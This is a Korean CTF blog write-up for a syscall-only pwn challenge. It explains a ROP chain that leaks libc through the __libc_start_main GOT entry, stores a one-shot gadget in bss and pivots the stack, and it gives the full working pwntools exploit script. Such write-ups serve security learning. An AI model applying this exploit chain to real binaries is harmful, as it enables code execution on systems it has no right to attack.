이 문제는 특이하게 모든 함수가 syscall로 구현되어 있다.
첨에 당황했는데 다른 rop처럼 똑같이 오버플로우로 rip를 syscall로 조작해서 libc leak을 하면 된다.
하지만 got 영역을 가진 함수가 없어서 고민을 하다가 pwntool로 이 함수 저함수 찾다가 __libc_start_main이 got가 있음을 알게 되었다.
그래서 libc leak해서 oneshot 가젯의 주소를 구했고, 그 다음 oneshot가젯을 bss에 저장했다.
syscall로 read해서 bss에 저장하려고 했으나 이 문제를 보면 login()에서 write, read를 다 진행해주기 때문에 rip를 이 쪽으로 돌려줘서 read할 때 oneshot 가젯의 주소를 넣어주었다.(첫 번째 read와 두 번째 read에 oneshot을 넣어줬다. 왜냐면 check()함수에서 두 부분이 같은지 확인하기 때문.) 그리고 이 함수에서 read하는 버퍼는 bss영역이기 때문에 저장되는 주소는 바로 알 수 있다.
그리고 pop_rsp가젯으로 bss 영역의 위치를 rsp로 pop시킨 후 마지막에 실행시키도록 하는 가젯을 이용했다.
from pwn import * p = process("./pwn1") elf = ELF("./pwn1") pop_rdi = 0x00400683 pop_rsi_r15 = 0x400681 pop_rsp_r13_r14_r15 = 0x40067d start = elf.got['__libc_start_main'] write_syscall = 0x400526 bss = elf.bss() payload = "" payload += "A"*40 payload += p64(pop_rdi) payload += p64(1) payload += p64(pop_rsi_r15) payload += p64(start) payload += p64(0) payload += p64(write_syscall) payload += p64(pop_rsp_r13_r14_r15) payload += p64(bss+12) payload += p64(0) payload += p64(0) payload += p64(bss+12) print p.recv() p.sendline("AAAA") print hexdump(p.recv()) p.sendline("AAAA") print hexdump(p.recv()) #pause() p.sendline(payload) __libc_start_main = u64(p.recv(8)) log.info("__libc_start_main = {}".format(hex(__libc_start_main))) oneshot = __libc_start_main + 0x24b2a log.info("oneshot = {}".format(hex(oneshot))) print p.recv() p.sendline(p64(oneshot)) print p.recv() p.sendline(p64(oneshot)) p.interactive()
'CTF' 카테고리의 다른 글
defcon2019 speedrun (0) | 2019.05.28 |
---|---|
hackzone 2019 pwn2 (Syscall) (0) | 2019.05.09 |
BTH_CTF 2019 (0) | 2019.05.01 |
plaid 2019 can you guess me? (0) | 2019.04.15 |
codegate2019 aeiou (0) | 2019.02.23 |